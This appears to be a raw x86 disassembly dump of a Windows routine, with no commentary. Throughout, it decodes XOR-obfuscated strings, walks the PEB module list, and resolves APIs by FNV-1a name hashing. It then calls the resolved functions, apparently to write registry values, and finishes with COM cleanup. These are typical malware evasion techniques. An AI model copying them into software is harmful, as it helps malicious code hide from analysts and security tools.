mov word [ebp - 0x1a0], 0
mov byte [ebp - 0x19e], 0
nop dword [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x1cd], al
inc ecx
cmp ecx, 0x19
jb 0x41d500
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1cd]
mov byte [ebp - 0x1b4], 0
movups xmmword [ebp - 0x230], xmm0
mov dword [ebp - 0x220], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x21c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d544
sub ecx, edx
lea eax, [ebp - 0x1cd]
push ecx
push eax
lea ecx, [ebp - 0x230]
call fcn.00402c40
mov byte [ebp - 4], 7
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 0x10
cmovae eax, dword [ebp - 0x230]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41d5ef
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41d5ef
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41d5e5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41d5c8
cmp esi, 0xda5113dc
je 0x41d5f3
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41d5b0
mov eax, dword [eax]
jmp 0x41d587
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 0x10
jb 0x41d65c
mov edx, dword [ebp - 0x230]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d652
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de4b
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552430]
xor ecx, ecx
movups xmmword [ebp - 0x16d], xmm0
mov dword [ebp - 0x15d], 0xafa8b4d3
xorps xmm0, xmm0
mov dword [ebp - 0x159], 0xa7ab81a6
mov word [ebp - 0x155], 0xa4a5
mov byte [ebp - 0x153], 0xac
movups xmmword [ebp - 0x152], xmm0
mov dword [ebp - 0x142], 0
mov word [ebp - 0x13e], 0
mov byte [ebp - 0x13c], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x16d], al
inc ecx
cmp ecx, 0x1b
jb 0x41d6b4
mov dword [0x565618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x16d]
mov byte [ebp - 0x152], 0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x234], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d6f8
sub ecx, edx
lea eax, [ebp - 0x16d]
push ecx
push eax
lea ecx, [ebp - 0x248]
call fcn.00402c40
mov byte [ebp - 4], 8
lea eax, [ebp - 0x248]
cmp dword [ebp - 0x234], 0x10
cmovae eax, dword [ebp - 0x248]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41d7a7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41d7a7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41d79d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41d780
cmp esi, 0xda5113dc
je 0x41d7ab
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41d765
mov eax, dword [eax]
jmp 0x41d740
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x234]
cmp ecx, 0x10
jb 0x41d814
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d80a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de50
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552670]
xor ecx, ecx
movups xmmword [ebp - 0x1fd], xmm0
mov dword [ebp - 0x1ed], 0xb6a8aed0
xorps xmm0, xmm0
mov dword [ebp - 0x1e9], 0xa8acb6ac
mov byte [ebp - 0x1e5], 0xa0
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d4], 0
mov word [ebp - 0x1d0], 0
mov byte [ebp - 0x1ce], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x1fd], al
inc ecx
cmp ecx, 0x19
jb 0x41d863
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1fd]
mov byte [ebp - 0x1e4], 0
movups xmmword [ebp - 0x260], xmm0
mov dword [ebp - 0x250], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d8a7
sub ecx, edx
lea eax, [ebp - 0x1fd]
push ecx
push eax
lea ecx, [ebp - 0x260]
call fcn.00402c40
mov byte [ebp - 4], 9
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0x10
cmovae eax, dword [ebp - 0x260]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41d957
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41d957
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41d94d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41d930
cmp esi, 0xda5113dc
je 0x41d95b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41d915
mov eax, dword [eax]
jmp 0x41d8f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0x10
jb 0x41d9c4
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d9ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de55
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552110]
xor ecx, ecx
movups xmmword [ebp - 0x37c], xmm0
mov dword [ebp - 0x36c], 0xada8b4dc
xorps xmm0, xmm0
mov byte [ebp - 0x368], 0xad
movups xmmword [ebp - 0x367], xmm0
mov dword [ebp - 0x357], 0
mov word [ebp - 0x353], 0
mov byte [ebp - 0x351], 0
nop dword [eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x37c], al
inc ecx
cmp ecx, 0x15
jb 0x41da10
mov dword [0x5655ac], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x37c]
mov byte [ebp - 0x367], 0
movups xmmword [ebp - 0x278], xmm0
mov dword [ebp - 0x268], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x264], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41da54
sub ecx, edx
lea eax, [ebp - 0x37c]
push ecx
push eax
lea ecx, [ebp - 0x278]
call fcn.00402c40
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x278]
cmp dword [ebp - 0x264], 0x10
cmovae eax, dword [ebp - 0x278]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41daff
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41daff
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41daf5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41dad8
cmp esi, 0xda5113dc
je 0x41db03
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41dac0
mov eax, dword [eax]
jmp 0x41da97
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, 0x10
jb 0x41db6c
mov edx, dword [ebp - 0x278]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41db62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de5a
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552630]
xor ecx, ecx
movups xmmword [ebp - 0x13b], xmm0
mov dword [ebp - 0x12b], 0xa4a8b4d0
xorps xmm0, xmm0
mov dword [ebp - 0x127], 0xb2a4a7aa
mov word [ebp - 0x123], 0xa7ae
mov byte [ebp - 0x121], 0xa7
movups xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0x110], 0
mov word [ebp - 0x10c], 0
mov byte [ebp - 0x10a], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x13b], al
inc ecx
cmp ecx, 0x1b
jb 0x41dbc4
mov dword [0x565618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x13b]
mov byte [ebp - 0x120], 0
movups xmmword [ebp - 0x290], xmm0
mov dword [ebp - 0x280], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x27c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dc08
sub ecx, edx
lea eax, [ebp - 0x13b]
push ecx
push eax
lea ecx, [ebp - 0x290]
call fcn.00402c40
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x290]
cmp dword [ebp - 0x27c], 0x10
cmovae eax, dword [ebp - 0x290]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41dcb7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41dcb7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41dcad
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41dc90
cmp esi, 0xda5113dc
je 0x41dcbb
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41dc75
mov eax, dword [eax]
jmp 0x41dc50
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x27c]
cmp ecx, 0x10
jb 0x41dd24
mov edx, dword [ebp - 0x290]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dd1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41de5f
push ecx
push edx
call fcn.00504f31
add esp, 8
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41dd97
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41dd97
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41dd8d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41dd70
cmp esi, 0x1242154a
je 0x41dd9b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41dd55
mov eax, dword [eax]
jmp 0x41dd30
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x34]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x4c]
push 0x54c4dc
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x41dde7
mov dword [ebp - 0x2c], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xd
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x41de01
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
int3